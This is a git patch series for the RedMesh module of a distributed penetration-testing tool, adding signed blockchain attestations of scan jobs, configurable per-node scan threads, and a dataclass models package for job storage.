From 8a751f8d4589b104ea247f338846a92a2cc8b51c Mon Sep 17 00:00:00 2001 From: Alessandro Date: Thu, 5 Mar 2026 10:07:50 +0100 Subject: [PATCH 01/42] feat: add attestation registry submission in redmesh close flow --- .../cybersec/red_mesh/pentester_api_01.py | 167 +++++++++++++++++- 1 file changed, 164 insertions(+), 3 deletions(-) diff --git a/extensions/business/cybersec/red_mesh/pentester_api_01.py b/extensions/business/cybersec/red_mesh/pentester_api_01.py index 68e8ddd6..d16014dd 100644 --- a/extensions/business/cybersec/red_mesh/pentester_api_01.py +++ b/extensions/business/cybersec/red_mesh/pentester_api_01.py @@ -30,8 +30,11 @@ """ +import ipaddress import random +from urllib.parse import urlparse + from naeural_core.business.default.web_app.fast_api_web_app import FastApiWebAppPlugin as BasePlugin from .redmesh_utils import PentestLocalWorker # Import PentestJob from separate module from .redmesh_llm_agent_mixin import _RedMeshLlmAgentMixin @@ -47,7 +50,7 @@ RISK_CRED_PENALTY_CAP, ) -__VER__ = '0.8.2' +__VER__ = '0.9.0' _CONFIG = { **BasePlugin.CONFIG, @@ -94,6 +97,10 @@ "SCANNER_IDENTITY": "probe.redmesh.local", # EHLO domain for SMTP probes "SCANNER_USER_AGENT": "", # HTTP User-Agent (empty = default requests UA) + # RedMesh attestation submission + "ATTESTATION_ENABLED": True, + "ATTESTATION_MIN_SECONDS_BETWEEN_SUBMITS": 86400, + 'VALIDATION_RULES': { **BasePlugin.CONFIG['VALIDATION_RULES'], }, @@ -120,6 +127,7 @@ class PentesterApi01Plugin(BasePlugin, _RedMeshLlmAgentMixin): List of job_ids that completed locally (used for status responses). """ CONFIG = _CONFIG + REDMESH_ATTESTATION_DOMAIN = "0xced141225d43c56d8b224d12f0b9524a15dc86df0113c42ffa4bc859309e0d40" def on_init(self): @@ -211,6 +219,129 @@ def Pd(self, s, *args, score=-1, **kwargs): return + def _attestation_get_tenant_private_key(self): + env_name = "R1EN_ATTESTATION_PRIVATE_KEY" + private_key = self.os_environ.get(env_name, None) + if private_key: + private_key = private_key.strip() + if not private_key: + return None + return private_key + + @staticmethod + def _attestation_pack_cid_obfuscated(report_cid) -> str: + if not isinstance(report_cid, str) or len(report_cid.strip()) == 0: + return "0x" + ("00" * 10) + cid = report_cid.strip() + if len(cid) >= 10: + masked = cid[:5] + cid[-5:] + else: + masked = cid.ljust(10, "_") + safe = "".join(ch if 32 <= ord(ch) <= 126 else "_" for ch in masked)[:10] + data = safe.encode("ascii", errors="ignore") + if len(data) < 10: + data = data + (b"_" * (10 - len(data))) + return "0x" + data[:10].hex() + + @staticmethod + def _attestation_extract_host(target): + if not isinstance(target, str): + return None + target = target.strip() + if not target: + return None + if "://" in target: + parsed = urlparse(target) + if parsed.hostname: + return parsed.hostname + host = target.split("/", 1)[0] + if host.count(":") == 1 and "." in host: + host = host.split(":", 1)[0] + return host + + def _attestation_pack_ip_obfuscated(self, target) -> str: + host = self._attestation_extract_host(target) + if not host: + return "0x0000" + if ".." in host: + parts = host.split("..") + if len(parts) == 2 and all(part.isdigit() for part in parts): + first_octet = int(parts[0]) + last_octet = int(parts[1]) + if 0 <= first_octet <= 255 and 0 <= last_octet <= 255: + return f"0x{first_octet:02x}{last_octet:02x}" + try: + ip_obj = ipaddress.ip_address(host) + except Exception: + return "0x0000" + if ip_obj.version != 4: + return "0x0000" + octets = host.split(".") + first_octet = int(octets[0]) + last_octet = int(octets[-1]) + return f"0x{first_octet:02x}{last_octet:02x}" + + + def _submit_attestation(self, job_id: str, job_specs: dict, workers: dict, vulnerability_score): + if not self.cfg_attestation_enabled: + return None + tenant_private_key = self._attestation_get_tenant_private_key() + if tenant_private_key is None: + self.P( + "RedMesh attestation is enabled but tenant private key is missing. " + "Expected env var 'R1EN_ATTESTATION_PRIVATE_KEY'.", + color='y' + ) + return None + + run_mode = str(job_specs.get("run_mode", "SINGLEPASS")).upper() + test_mode = 1 if run_mode == "CONTINUOUS_MONITORING" else 0 + node_count = len(workers) if isinstance(workers, dict) else 0 + # TODO: replace placeholder score with proper RedMesh vulnerability scoring logic. + target = job_specs.get("target") + report_cid = workers.get(self.ee_addr, {}).get("report_cid", None) #TODO: use the correct CID + node_eth_address = self.bc.eth_address + ip_obfuscated = self._attestation_pack_ip_obfuscated(target) + cid_obfuscated = self._attestation_pack_cid_obfuscated(report_cid) + + tx_hash = self.bc.submit_attestation( + function_name="submitRedmeshAttestation", + function_args=[ + test_mode, + node_count, + vulnerability_score, + ip_obfuscated, + cid_obfuscated, + ], + signature_types=["bytes32", "uint8", "uint16", "uint8", "bytes2", "bytes10"], + signature_values=[ + self.REDMESH_ATTESTATION_DOMAIN, + test_mode, + node_count, + vulnerability_score, + ip_obfuscated, + cid_obfuscated, + ], + tx_private_key=tenant_private_key, + ) + + result = { + "job_id": job_id, + "tx_hash": tx_hash, + "test_mode": "C" if test_mode == 1 else "S", + "node_count": node_count, + "vulnerability_score": vulnerability_score, + "report_cid": report_cid, + "node_eth_address": node_eth_address, + } + self.P( + "Submitted RedMesh attestation for " + f"{job_id} (tx: {tx_hash}, node: {node_eth_address}, score: {vulnerability_score})", + color='g' + ) + return result + + def __post_init(self): """ Perform warmup: reconcile existing jobs in CStore, migrate legacy keys, @@ -1107,23 +1238,53 @@ def _maybe_finalize_pass(self): # ═══════════════════════════════════════════════════ pass_date_started = self._get_timeline_date(job_specs, "pass_started") or self._get_timeline_date(job_specs, "created") pass_date_completed = self.time() - pass_history.append({ + pass_record = ({ "pass_nr": job_pass, "date_started": pass_date_started, "date_completed": pass_date_completed, "duration": round(pass_date_completed - pass_date_started, 2) if pass_date_started else None, "reports": {addr: w.get("report_cid") for addr, w in workers.items()} }) + now_ts = self.time() # Compute risk score for this pass aggregated_for_score = self._collect_aggregated_report(workers) + risk_score = 0 if aggregated_for_score: risk_result = self._compute_risk_score(aggregated_for_score) pass_history[-1]["risk_score"] = risk_result["score"] pass_history[-1]["risk_breakdown"] = risk_result["breakdown"] - job_specs["risk_score"] = risk_result["score"] + risk_score = risk_result["score"] + job_specs["risk_score"] = risk_score self.P(f"Risk score for job {job_id} pass {job_pass}: {risk_result['score']}/100") + should_submit_attestation = True + if run_mode == "CONTINUOUS_MONITORING": + last_attestation_at = job_specs.get("last_attestation_at") + min_interval = self.cfg_attestation_min_seconds_between_submits + if last_attestation_at is not None and now_ts - last_attestation_at < min_interval: + should_submit_attestation = False + + if should_submit_attestation: + # Best-effort on-chain summary; failures must not block pass finalization. + try: + redmesh_attestation = self._submit_attestation( + job_id=job_id, + job_specs=job_specs, + workers=workers, + vulnerability_score=risk_score + ) + if redmesh_attestation is not None: + pass_record["redmesh_attestation"] = redmesh_attestation + job_specs["last_attestation_at"] = now_ts + except Exception as exc: + self.P( + f"Failed to submit RedMesh attestation for job {job_id}: {exc}", + color='r' + ) + + pass_history.append(pass_record) + # Handle SINGLEPASS - set FINALIZED and exit (no scheduling) if run_mode == "SINGLEPASS": job_specs["job_status"] = "FINALIZED" From 49ba4921a18be5c72c689419f0813f4ed86d9a1b Mon Sep 17 00:00:00 2001 From: Alessandro Date: Thu, 5 Mar 2026 10:27:30 +0100 Subject: [PATCH 02/42] fix: add execution_id to attestation --- .../cybersec/red_mesh/pentester_api_01.py | 19 ++++++++++++++++++- 1 file changed, 18 insertions(+), 1 deletion(-) diff --git a/extensions/business/cybersec/red_mesh/pentester_api_01.py b/extensions/business/cybersec/red_mesh/pentester_api_01.py index d16014dd..b2398292 100644 --- a/extensions/business/cybersec/red_mesh/pentester_api_01.py +++ b/extensions/business/cybersec/red_mesh/pentester_api_01.py @@ -281,6 +281,19 @@ def _attestation_pack_ip_obfuscated(self, target) -> str: last_octet = int(octets[-1]) return f"0x{first_octet:02x}{last_octet:02x}" + @staticmethod + def _attestation_pack_execution_id(job_id) -> str: + if not isinstance(job_id, str): + raise ValueError("job_id must be a string") + job_id = job_id.strip() + if len(job_id) != 8: + raise ValueError("job_id must be exactly 8 characters") + try: + data = job_id.encode("ascii") + except UnicodeEncodeError as exc: + raise ValueError("job_id must contain only ASCII characters") from exc + return "0x" + data.hex() + def _submit_attestation(self, job_id: str, job_specs: dict, workers: dict, vulnerability_score): if not self.cfg_attestation_enabled: @@ -299,6 +312,7 @@ def _submit_attestation(self, job_id: str, job_specs: dict, workers: dict, vulne node_count = len(workers) if isinstance(workers, dict) else 0 # TODO: replace placeholder score with proper RedMesh vulnerability scoring logic. target = job_specs.get("target") + execution_id = self._attestation_pack_execution_id(job_id) report_cid = workers.get(self.ee_addr, {}).get("report_cid", None) #TODO: use the correct CID node_eth_address = self.bc.eth_address ip_obfuscated = self._attestation_pack_ip_obfuscated(target) @@ -310,15 +324,17 @@ def _submit_attestation(self, job_id: str, job_specs: dict, workers: dict, vulne test_mode, node_count, vulnerability_score, + execution_id, ip_obfuscated, cid_obfuscated, ], - signature_types=["bytes32", "uint8", "uint16", "uint8", "bytes2", "bytes10"], + signature_types=["bytes32", "uint8", "uint16", "uint8", "bytes8", "bytes2", "bytes10"], signature_values=[ self.REDMESH_ATTESTATION_DOMAIN, test_mode, node_count, vulnerability_score, + execution_id, ip_obfuscated, cid_obfuscated, ], @@ -331,6 +347,7 @@ def _submit_attestation(self, job_id: str, job_specs: dict, workers: dict, vulne "test_mode": "C" if test_mode == 1 else "S", "node_count": node_count, "vulnerability_score": vulnerability_score, + "execution_id": execution_id, "report_cid": report_cid, "node_eth_address": node_eth_address, } From 49470ba67f442480c37b86227dd64228ef7e76cd Mon Sep 17 00:00:00 2001 From: Alessandro Date: Thu, 5 Mar 2026 11:43:50 +0100 Subject: [PATCH 03/42] Add RedMesh job-start attestation submission flow --- .../cybersec/red_mesh/pentester_api_01.py | 109 ++++++++++++++++-- 1 file changed, 102 insertions(+), 7 deletions(-) diff --git a/extensions/business/cybersec/red_mesh/pentester_api_01.py b/extensions/business/cybersec/red_mesh/pentester_api_01.py index b2398292..09953ce0 100644 --- a/extensions/business/cybersec/red_mesh/pentester_api_01.py +++ b/extensions/business/cybersec/red_mesh/pentester_api_01.py @@ -295,7 +295,28 @@ def _attestation_pack_execution_id(job_id) -> str: return "0x" + data.hex() - def _submit_attestation(self, job_id: str, job_specs: dict, workers: dict, vulnerability_score): + def _attestation_get_worker_eth_addresses(self, workers: dict) -> list[str]: + if not isinstance(workers, dict): + return [] + eth_addresses = [] + for node_addr in workers.keys(): + eth_addr = self.bc.node_addr_to_eth_addr(node_addr) + if not isinstance(eth_addr, str) or not eth_addr.startswith("0x"): + raise ValueError(f"Unable to convert worker node to EVM address: {node_addr}") + eth_addresses.append(eth_addr) + eth_addresses.sort() + return eth_addresses + + def _attestation_pack_node_hashes(self, workers: dict) -> str: + eth_addresses = self._attestation_get_worker_eth_addresses(workers) + if len(eth_addresses) == 0: + return "0x" + ("00" * 32) + digest = self.bc.eth_hash_message(types=["address[]"], values=[eth_addresses], as_hex=True) + if isinstance(digest, str) and digest.startswith("0x"): + return digest + return "0x" + str(digest) + + def _submit_redmesh_test_attestation(self, job_id: str, job_specs: dict, workers: dict, vulnerability_score=0): if not self.cfg_attestation_enabled: return None tenant_private_key = self._attestation_get_tenant_private_key() @@ -319,7 +340,7 @@ def _submit_attestation(self, job_id: str, job_specs: dict, workers: dict, vulne cid_obfuscated = self._attestation_pack_cid_obfuscated(report_cid) tx_hash = self.bc.submit_attestation( - function_name="submitRedmeshAttestation", + function_name="submitRedmeshTestAttestation", function_args=[ test_mode, node_count, @@ -352,12 +373,71 @@ def _submit_attestation(self, job_id: str, job_specs: dict, workers: dict, vulne "node_eth_address": node_eth_address, } self.P( - "Submitted RedMesh attestation for " + "Submitted RedMesh test attestation for " f"{job_id} (tx: {tx_hash}, node: {node_eth_address}, score: {vulnerability_score})", color='g' ) return result + def _submit_redmesh_job_start_attestation(self, job_id: str, job_specs: dict, workers: dict): + if not self.cfg_attestation_enabled: + return None + tenant_private_key = self._attestation_get_tenant_private_key() + if tenant_private_key is None: + self.P( + "RedMesh attestation is enabled but tenant private key is missing. " + "Expected env var 'R1EN_ATTESTATION_PRIVATE_KEY'.", + color='y' + ) + return None + + run_mode = str(job_specs.get("run_mode", "SINGLEPASS")).upper() + test_mode = 1 if run_mode == "CONTINUOUS_MONITORING" else 0 + node_count = len(workers) if isinstance(workers, dict) else 0 + target = job_specs.get("target") + execution_id = self._attestation_pack_execution_id(job_id) + node_eth_address = self.bc.eth_address + ip_obfuscated = self._attestation_pack_ip_obfuscated(target) + node_hashes = self._attestation_pack_node_hashes(workers) + + tx_hash = self.bc.submit_attestation( + function_name="submitRedmeshJobStartAttestation", + function_args=[ + test_mode, + node_count, + execution_id, + node_hashes, + ip_obfuscated, + ], + signature_types=["bytes32", "uint8", "uint16", "bytes8", "bytes32", "bytes2"], + signature_values=[ + self.REDMESH_ATTESTATION_DOMAIN, + test_mode, + node_count, + execution_id, + node_hashes, + ip_obfuscated, + ], + tx_private_key=tenant_private_key, + ) + + result = { + "job_id": job_id, + "tx_hash": tx_hash, + "test_mode": "C" if test_mode == 1 else "S", + "node_count": node_count, + "execution_id": execution_id, + "node_hashes": node_hashes, + "ip_obfuscated": ip_obfuscated, + "node_eth_address": node_eth_address, + } + self.P( + "Submitted RedMesh job-start attestation for " + f"{job_id} (tx: {tx_hash}, node: {node_eth_address}, node_count: {node_count})", + color='g' + ) + return result + def __post_init(self): """ @@ -1285,18 +1365,18 @@ def _maybe_finalize_pass(self): if should_submit_attestation: # Best-effort on-chain summary; failures must not block pass finalization. try: - redmesh_attestation = self._submit_attestation( + redmesh_test_attestation = self._submit_redmesh_test_attestation( job_id=job_id, job_specs=job_specs, workers=workers, vulnerability_score=risk_score ) - if redmesh_attestation is not None: - pass_record["redmesh_attestation"] = redmesh_attestation + if redmesh_test_attestation is not None: + pass_record["redmesh_test_attestation"] = redmesh_test_attestation job_specs["last_attestation_at"] = now_ts except Exception as exc: self.P( - f"Failed to submit RedMesh attestation for job {job_id}: {exc}", + f"Failed to submit RedMesh test attestation for job {job_id}: {exc}", color='r' ) @@ -1772,6 +1852,21 @@ def launch_test( actor_type="user" ) self._emit_timeline_event(job_specs, "started", "Scan started", actor=self.ee_id, actor_type="node") + + try: + redmesh_job_start_attestation = self._submit_redmesh_job_start_attestation( + job_id=job_id, + job_specs=job_specs, + workers=workers, + ) + if redmesh_job_start_attestation is not None: + job_specs["redmesh_job_start_attestation"] = redmesh_job_start_attestation + except Exception as exc: + self.P( + f"Failed to submit RedMesh job-start attestation for job {job_id}: {exc}", + color='r' + ) + self.chainstore_hset( hkey=self.cfg_instance_id, key=job_id, From cec6ccba9380a570d87c304bfd489480b81e1eea Mon Sep 17 00:00:00 2001 From: toderian Date: Fri, 6 Mar 2026 15:08:42 +0000 Subject: [PATCH 04/42] fix: set up private key in plugin config --- extensions/business/cybersec/red_mesh/pentester_api_01.py | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/extensions/business/cybersec/red_mesh/pentester_api_01.py b/extensions/business/cybersec/red_mesh/pentester_api_01.py index 09953ce0..6262c825 100644 --- a/extensions/business/cybersec/red_mesh/pentester_api_01.py +++ b/extensions/business/cybersec/red_mesh/pentester_api_01.py @@ -98,6 +98,7 @@ "SCANNER_USER_AGENT": "", # HTTP User-Agent (empty = default requests UA) # RedMesh attestation submission + "ATTESTATION_PRIVATE_KEY": "", "ATTESTATION_ENABLED": True, "ATTESTATION_MIN_SECONDS_BETWEEN_SUBMITS": 86400, @@ -220,8 +221,7 @@ def Pd(self, s, *args, score=-1, **kwargs): def _attestation_get_tenant_private_key(self): - env_name = "R1EN_ATTESTATION_PRIVATE_KEY" - private_key = self.os_environ.get(env_name, None) + private_key = self.cfg_attestation_private_key if private_key: private_key = private_key.strip() if not private_key: From df6d71eba03c398a71f4848c5ad319ebfa781ffb Mon Sep 17 00:00:00 2001 From: toderian Date: Fri, 6 Mar 2026 17:00:22 +0000 Subject: [PATCH 05/42] fix: pass history read --- extensions/business/cybersec/red_mesh/pentester_api_01.py | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/extensions/business/cybersec/red_mesh/pentester_api_01.py b/extensions/business/cybersec/red_mesh/pentester_api_01.py index 6262c825..9a3f386f 100644 --- a/extensions/business/cybersec/red_mesh/pentester_api_01.py +++ b/extensions/business/cybersec/red_mesh/pentester_api_01.py @@ -1349,8 +1349,8 @@ def _maybe_finalize_pass(self): risk_score = 0 if aggregated_for_score: risk_result = self._compute_risk_score(aggregated_for_score) - pass_history[-1]["risk_score"] = risk_result["score"] - pass_history[-1]["risk_breakdown"] = risk_result["breakdown"] + pass_record["risk_score"] = risk_result["score"] + pass_record["risk_breakdown"] = risk_result["breakdown"] risk_score = risk_result["score"] job_specs["risk_score"] = risk_score self.P(f"Risk score for job {job_id} pass {job_pass}: {risk_result['score']}/100") From 3f2116945027d8506d1e39d578937f0b87cc604d Mon Sep 17 00:00:00 2001 From: toderian Date: Fri, 6 Mar 2026 19:04:04 +0000 Subject: [PATCH 06/42] fix: add loggign for attestation --- .../cybersec/red_mesh/pentester_api_01.py | 42 +++++++++++++++---- 1 file changed, 35 insertions(+), 7 deletions(-) diff --git a/extensions/business/cybersec/red_mesh/pentester_api_01.py b/extensions/business/cybersec/red_mesh/pentester_api_01.py index 9a3f386f..078261e8 100644 --- a/extensions/business/cybersec/red_mesh/pentester_api_01.py +++ b/extensions/business/cybersec/red_mesh/pentester_api_01.py @@ -317,13 +317,15 @@ def _attestation_pack_node_hashes(self, workers: dict) -> str: return "0x" + str(digest) def _submit_redmesh_test_attestation(self, job_id: str, job_specs: dict, workers: dict, vulnerability_score=0): + self.P(f"[ATTESTATION] Test attestation requested for job {job_id} (score={vulnerability_score})") if not self.cfg_attestation_enabled: + self.P("[ATTESTATION] Attestation is disabled via config. Skipping.", color='y') return None tenant_private_key = self._attestation_get_tenant_private_key() if tenant_private_key is None: self.P( - "RedMesh attestation is enabled but tenant private key is missing. " - "Expected env var 'R1EN_ATTESTATION_PRIVATE_KEY'.", + "[ATTESTATION] Tenant private key is missing. " + "Expected env var 'R1EN_ATTESTATION_PRIVATE_KEY'. Skipping.", color='y' ) return None @@ -331,7 +333,6 @@ def _submit_redmesh_test_attestation(self, job_id: str, job_specs: dict, workers run_mode = str(job_specs.get("run_mode", "SINGLEPASS")).upper() test_mode = 1 if run_mode == "CONTINUOUS_MONITORING" else 0 node_count = len(workers) if isinstance(workers, dict) else 0 - # TODO: replace placeholder score with proper RedMesh vulnerability scoring logic. target = job_specs.get("target") execution_id = self._attestation_pack_execution_id(job_id) report_cid = workers.get(self.ee_addr, {}).get("report_cid", None) #TODO: use the correct CID @@ -339,6 +340,11 @@ def _submit_redmesh_test_attestation(self, job_id: str, job_specs: dict, workers ip_obfuscated = self._attestation_pack_ip_obfuscated(target) cid_obfuscated = self._attestation_pack_cid_obfuscated(report_cid) + self.P( + f"[ATTESTATION] Submitting test attestation: job={job_id}, mode={'CONTINUOUS' if test_mode else 'SINGLEPASS'}, " + f"nodes={node_count}, score={vulnerability_score}, target={ip_obfuscated}, " + f"cid={cid_obfuscated}, sender={node_eth_address}" + ) tx_hash = self.bc.submit_attestation( function_name="submitRedmeshTestAttestation", function_args=[ @@ -380,13 +386,15 @@ def _submit_redmesh_test_attestation(self, job_id: str, job_specs: dict, workers return result def _submit_redmesh_job_start_attestation(self, job_id: str, job_specs: dict, workers: dict): + self.P(f"[ATTESTATION] Job-start attestation requested for job {job_id}") if not self.cfg_attestation_enabled: + self.P("[ATTESTATION] Attestation is disabled via config. Skipping.", color='y') return None tenant_private_key = self._attestation_get_tenant_private_key() if tenant_private_key is None: self.P( - "RedMesh attestation is enabled but tenant private key is missing. " - "Expected env var 'R1EN_ATTESTATION_PRIVATE_KEY'.", + "[ATTESTATION] Tenant private key is missing. " + "Expected env var 'R1EN_ATTESTATION_PRIVATE_KEY'. Skipping.", color='y' ) return None @@ -400,6 +408,12 @@ def _submit_redmesh_job_start_attestation(self, job_id: str, job_specs: dict, wo ip_obfuscated = self._attestation_pack_ip_obfuscated(target) node_hashes = self._attestation_pack_node_hashes(workers) + worker_addrs = list(workers.keys()) if isinstance(workers, dict) else [] + self.P( + f"[ATTESTATION] Submitting job-start attestation: job={job_id}, mode={'CONTINUOUS' if test_mode else 'SINGLEPASS'}, " + f"nodes={node_count}, target={ip_obfuscated}, node_hashes={node_hashes}, " + f"workers={worker_addrs}, sender={node_eth_address}" + ) tx_hash = self.bc.submit_attestation( function_name="submitRedmeshJobStartAttestation", function_args=[ @@ -1360,6 +1374,12 @@ def _maybe_finalize_pass(self): last_attestation_at = job_specs.get("last_attestation_at") min_interval = self.cfg_attestation_min_seconds_between_submits if last_attestation_at is not None and now_ts - last_attestation_at < min_interval: + elapsed = round(now_ts - last_attestation_at) + self.P( + f"[ATTESTATION] Skipping test attestation for job {job_id}: " + f"last submitted {elapsed}s ago, min interval is {min_interval}s", + color='y' + ) should_submit_attestation = False if should_submit_attestation: @@ -1375,8 +1395,12 @@ def _maybe_finalize_pass(self): pass_record["redmesh_test_attestation"] = redmesh_test_attestation job_specs["last_attestation_at"] = now_ts except Exception as exc: + import traceback self.P( - f"Failed to submit RedMesh test attestation for job {job_id}: {exc}", + f"[ATTESTATION] Failed to submit test attestation for job {job_id}: {exc}\n" + f" Type: {type(exc).__name__}\n" + f" Args: {exc.args}\n" + f" Traceback:\n{traceback.format_exc()}", color='r' ) @@ -1862,8 +1886,12 @@ def launch_test( if redmesh_job_start_attestation is not None: job_specs["redmesh_job_start_attestation"] = redmesh_job_start_attestation except Exception as exc: + import traceback self.P( - f"Failed to submit RedMesh job-start attestation for job {job_id}: {exc}", + f"[ATTESTATION] Failed to submit job-start attestation for job {job_id}: {exc}\n" + f" Type: {type(exc).__name__}\n" + f" Args: {exc.args}\n" + f" Traceback:\n{traceback.format_exc()}", color='r' ) From 2c9a55f77df594d00d21b22b7ab07e22b64a3190 Mon Sep 17 00:00:00 2001 From: toderian Date: Fri, 6 Mar 2026 19:49:42 +0000 Subject: [PATCH 07/42] feat: user can configure the count of scanning threads on UI --- .../business/cybersec/red_mesh/constants.py | 8 ++++++ .../cybersec/red_mesh/pentester_api_01.py | 25 +++++++++++++++++-- 2 files changed, 31 insertions(+), 2 deletions(-) diff --git a/extensions/business/cybersec/red_mesh/constants.py b/extensions/business/cybersec/red_mesh/constants.py index 72ae85f3..0890779e 100644 --- a/extensions/business/cybersec/red_mesh/constants.py +++ b/extensions/business/cybersec/red_mesh/constants.py @@ -174,6 +174,14 @@ "_service_info_postgresql_creds": frozenset({"postgresql"}), } +# ===================================================================== +# Local worker threads per node +# ===================================================================== + +LOCAL_WORKERS_MIN = 1 +LOCAL_WORKERS_MAX = 16 +LOCAL_WORKERS_DEFAULT = 2 + # ===================================================================== # Risk score computation # ===================================================================== diff --git a/extensions/business/cybersec/red_mesh/pentester_api_01.py b/extensions/business/cybersec/red_mesh/pentester_api_01.py index 078261e8..a1216401 100644 --- a/extensions/business/cybersec/red_mesh/pentester_api_01.py +++ b/extensions/business/cybersec/red_mesh/pentester_api_01.py @@ -48,6 +48,9 @@ RISK_SIGMOID_K, RISK_CRED_PENALTY_PER, RISK_CRED_PENALTY_CAP, + LOCAL_WORKERS_MIN, + LOCAL_WORKERS_MAX, + LOCAL_WORKERS_DEFAULT, ) __VER__ = '0.9.0' @@ -65,7 +68,7 @@ "REDMESH_VERBOSE" : 10, # Verbosity level for debug messages (0 = off, 1+ = debug) - "NR_LOCAL_WORKERS" : 8, + "NR_LOCAL_WORKERS" : LOCAL_WORKERS_DEFAULT, "WARMUP_DELAY" : 30, @@ -812,7 +815,13 @@ def _maybe_launch_jobs(self, nr_local_workers=None): ics_safe_mode = job_specs.get("ics_safe_mode", self.cfg_ics_safe_mode) scanner_identity = job_specs.get("scanner_identity", self.cfg_scanner_identity) scanner_user_agent = job_specs.get("scanner_user_agent", self.cfg_scanner_user_agent) - workers_requested = nr_local_workers if nr_local_workers is not None else self.cfg_nr_local_workers + workers_from_spec = job_specs.get("nr_local_workers") + if nr_local_workers is not None: + workers_requested = nr_local_workers + elif workers_from_spec is not None and int(workers_from_spec) > 0: + workers_requested = int(workers_from_spec) + else: + workers_requested = self.cfg_nr_local_workers self.P("Using {} local workers for job {}".format(workers_requested, job_id)) try: local_jobs = self._launch_job( @@ -1646,6 +1655,7 @@ def launch_test( authorized: bool = False, created_by_name: str = "", created_by_id: str = "", + nr_local_workers: int = 0, ): """ Start a pentest on the specified target. @@ -1687,6 +1697,9 @@ def launch_test( List of peer addresses to run the test on. If not provided or empty, all configured chainstore_peers will be used. Each address must exist in the chainstore_peers configuration. + nr_local_workers: int, optional + Number of parallel scan threads each worker node spawns (1-16). + The assigned port range is split evenly across threads. 0 = use config default. Returns ------- @@ -1762,6 +1775,12 @@ def launch_test( if scan_min_delay > scan_max_delay: scan_min_delay, scan_max_delay = scan_max_delay, scan_min_delay + # Validate local workers (parallel scan threads per worker node) + nr_local_workers = int(nr_local_workers) + if nr_local_workers <= 0: + nr_local_workers = self.cfg_nr_local_workers + nr_local_workers = max(LOCAL_WORKERS_MIN, min(LOCAL_WORKERS_MAX, nr_local_workers)) + # Validate and determine which peers to use chainstore_peers = self.cfg_chainstore_peers if not chainstore_peers: @@ -1865,6 +1884,8 @@ def launch_test( "scanner_identity": scanner_identity, "scanner_user_agent": scanner_user_agent, "authorized": True, + # Parallel scan threads per worker node + "nr_local_workers": nr_local_workers, # User identity (forwarded from Navigator UI) "created_by_name": created_by_name or None, "created_by_id": created_by_id or None, From 1538b87b9ad4ee66bb8d74785dda286e9cc576b7 Mon Sep 17 00:00:00 2001 From: toderian Date: Sat, 7 Mar 2026 19:36:48 +0000 Subject: [PATCH 08/42] feat: add data models package --- .../cybersec/red_mesh/models/__init__.py | 73 ++++++ .../cybersec/red_mesh/models/archive.py | 246 ++++++++++++++++++ .../cybersec/red_mesh/models/cstore.py | 207 +++++++++++++++ .../cybersec/red_mesh/models/reports.py | 172 ++++++++++++ .../cybersec/red_mesh/models/shared.py | 147 +++++++++++ 5 files changed, 845 insertions(+) create mode 100644 extensions/business/cybersec/red_mesh/models/__init__.py create mode 100644 extensions/business/cybersec/red_mesh/models/archive.py create mode 100644 extensions/business/cybersec/red_mesh/models/cstore.py create mode 100644 extensions/business/cybersec/red_mesh/models/reports.py create mode 100644 extensions/business/cybersec/red_mesh/models/shared.py diff --git a/extensions/business/cybersec/red_mesh/models/__init__.py b/extensions/business/cybersec/red_mesh/models/__init__.py new file mode 100644 index 00000000..5e51335c --- /dev/null +++ b/extensions/business/cybersec/red_mesh/models/__init__.py @@ -0,0 +1,73 @@ +""" +RedMesh data models for structured job storage. + +Three-layer architecture: + Layer 1 (CStore) — CStoreJobRunning / CStoreJobFinalized + Layer 2 (R1FS) — JobArchive (one CID per completed job) + Layer 3 (R1FS) — Scan reports (ThreadReport → NodeReport → AggregatedScanData) + +All models are frozen dataclasses with to_dict() / from_dict(). + +Package layout: + shared.py — foundational types (TimelineEvent, RiskBreakdown, ScanMetrics) + cstore.py — CStore orchestration state (CStoreWorker, CStoreJobRunning, ...) + reports.py — scan data aggregation pipeline (ThreadReport → NodeReport → AggregatedScanData) + archive.py — R1FS persistent structures (JobConfig, PassReport, JobArchive, ...) +""" + +# shared +from extensions.business.cybersec.red_mesh.models.shared import ( + _strip_none, + TimelineEvent, + RiskBreakdown, + ScanMetrics, +) + +# cstore +from extensions.business.cybersec.red_mesh.models.cstore import ( + CStoreWorker, + PassReportRef, + CStoreJobRunning, + CStoreJobFinalized, + WorkerProgress, +) + +# reports +from extensions.business.cybersec.red_mesh.models.reports import ( + ThreadReport, + NodeReport, + AggregatedScanData, +) + +# archive +from extensions.business.cybersec.red_mesh.models.archive import ( + JobConfig, + WorkerReportMeta, + PassReport, + UiAggregate, + JobArchive, +) + +__all__ = [ + # shared + "_strip_none", + "TimelineEvent", + "RiskBreakdown", + "ScanMetrics", + # cstore + "CStoreWorker", + "PassReportRef", + "CStoreJobRunning", + "CStoreJobFinalized", + "WorkerProgress", + # reports + "ThreadReport", + "NodeReport", + "AggregatedScanData", + # archive + "JobConfig", + "WorkerReportMeta", + "PassReport", + "UiAggregate", + "JobArchive", +] diff --git a/extensions/business/cybersec/red_mesh/models/archive.py b/extensions/business/cybersec/red_mesh/models/archive.py new file mode 100644 index 00000000..7ad044ab --- /dev/null +++ b/extensions/business/cybersec/red_mesh/models/archive.py @@ -0,0 +1,246 @@ +""" +R1FS persistent models — job config, pass reports, and job archive. + + JobConfig — immutable config written once at launch + WorkerReportMeta — per-worker summary inside PassReport + PassReport — consolidated pass report (one CID per pass) + UiAggregate — pre-computed aggregate for frontend + JobArchive — complete job archive (the one CID) +""" + +from __future__ import annotations + +from dataclasses import dataclass, asdict + +from extensions.business.cybersec.red_mesh.models.shared import _strip_none + + +@dataclass(frozen=True) +class JobConfig: + """ + Static job configuration stored in R1FS. + + Written once at launch, never modified. Referenced by job_config_cid. + """ + target: str + start_port: int + end_port: int + exceptions: list # [int] + distribution_strategy: str # SLICE | MIRROR + port_order: str # SHUFFLE | SEQUENTIAL + nr_local_workers: int + enabled_features: list # [str] + excluded_features: list # [str] + run_mode: str # SINGLEPASS | CONTINUOUS_MONITORING + scan_min_delay: float = 0 + scan_max_delay: float = 0 + ics_safe_mode: bool = False + redact_credentials: bool = True + scanner_identity: str = "" + scanner_user_agent: str = "" + task_name: str = "" + task_description: str = "" + monitor_interval: int = 0 + selected_peers: list = None # [str] or None + created_by_name: str = "" + created_by_id: str = "" + authorized: bool = False + + def to_dict(self) -> dict: + return _strip_none(asdict(self)) + + @classmethod + def from_dict(cls, d: dict) -> JobConfig: + return cls( + target=d["target"], + start_port=d["start_port"], + end_port=d["end_port"], + 